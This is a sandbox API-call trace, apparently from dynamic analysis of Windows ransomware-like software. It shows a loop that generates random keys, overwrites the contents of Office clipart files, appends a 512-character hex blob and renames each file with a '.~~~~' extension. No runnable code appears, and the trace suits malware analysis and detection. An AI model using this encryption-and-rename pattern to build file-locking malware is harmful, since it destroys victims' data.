	[0108.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0108.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28298e8
	[0108.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.663] GetLastError () returned 0x0
	[0108.664] GetLastError () returned 0x0
	[0108.664] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.664] GetLastError () returned 0x0
	[0108.664] GetLastError () returned 0x0
	[0108.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff6714, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.672] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x98ec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x98ec, lpOverlapped=0x0) returned 1
	[0108.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.673] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.674] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.674] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.674] CloseHandle (hObject=0x130) returned 1
	[0108.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.674] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.~~~~")) returned 1
	[0108.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.675] GetLastError () returned 0x0
	[0108.676] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.677] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.677] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.677] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22866721769) returned 1
	[0108.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa6dca50, dwHighDateTime=0x1d60e1e)) 
	[0108.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28083a0
	[0108.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28083a0 | out: hHeap=0x300000) returned 1
	[0108.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829980
	[0108.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.678] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.678] GetLastError () returned 0x0
	[0108.678] GetLastError () returned 0x0
	[0108.679] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.679] GetLastError () returned 0x0
	[0108.679] GetLastError () returned 0x0
	[0108.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffcae4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.681] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x351c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x351c, lpOverlapped=0x0) returned 1
	[0108.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.682] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.683] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.683] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.683] CloseHandle (hObject=0x130) returned 1
	[0108.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.683] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.~~~~")) returned 1
	[0108.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.685] GetLastError () returned 0x0
	[0108.685] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.686] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0108.686] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0108.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.687] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22867669296) returned 1
	[0108.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa702bb0, dwHighDateTime=0x1d60e1e)) 
	[0108.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28083d8
	[0108.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28083d8 | out: hHeap=0x300000) returned 1
	[0108.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829ab0
	[0108.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.688] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.688] GetLastError () returned 0x0
	[0108.688] GetLastError () returned 0x0
	[0108.688] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.688] GetLastError () returned 0x0
	[0108.688] GetLastError () returned 0x0
	[0108.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.691] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.781] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.790] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.790] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.800] CloseHandle (hObject=0x130) returned 1
	[0108.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.~~~~")) returned 1
	[0108.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.802] GetLastError () returned 0x0
	[0108.804] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.805] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.805] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.806] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22879576284) returned 1
	[0108.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa8336b0, dwHighDateTime=0x1d60e1e)) 
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808448
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808448 | out: hHeap=0x300000) returned 1
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829b48
	[0108.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.807] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.807] GetLastError () returned 0x0
	[0108.807] GetLastError () returned 0x0
	[0108.807] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.807] GetLastError () returned 0x0
	[0108.808] GetLastError () returned 0x0
	[0108.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe520, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.810] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x1ae0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x1ae0, lpOverlapped=0x0) returned 1
	[0108.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.812] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.812] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.812] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.812] CloseHandle (hObject=0x130) returned 1
	[0108.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.813] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.~~~~")) returned 1
	[0108.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.814] GetLastError () returned 0x0
	[0108.814] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.816] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.816] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.816] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22880604790) returned 1
	[0108.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa8336b0, dwHighDateTime=0x1d60e1e)) 
	[0108.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808480
	[0108.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808480 | out: hHeap=0x300000) returned 1
	[0108.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a138
	[0108.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.817] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.817] GetLastError () returned 0x0
	[0108.817] GetLastError () returned 0x0
	[0108.817] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.817] GetLastError () returned 0x0
	[0108.817] GetLastError () returned 0x0
	[0108.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffafbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.821] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x5044, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x5044, lpOverlapped=0x0) returned 1
	[0108.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.822] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.822] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.822] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.822] CloseHandle (hObject=0x130) returned 1
	[0108.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.822] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.~~~~")) returned 1
	[0108.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.823] GetLastError () returned 0x0
	[0108.824] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.825] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.825] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.825] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22881560146) returned 1
	[0108.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa859810, dwHighDateTime=0x1d60e1e)) 
	[0108.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
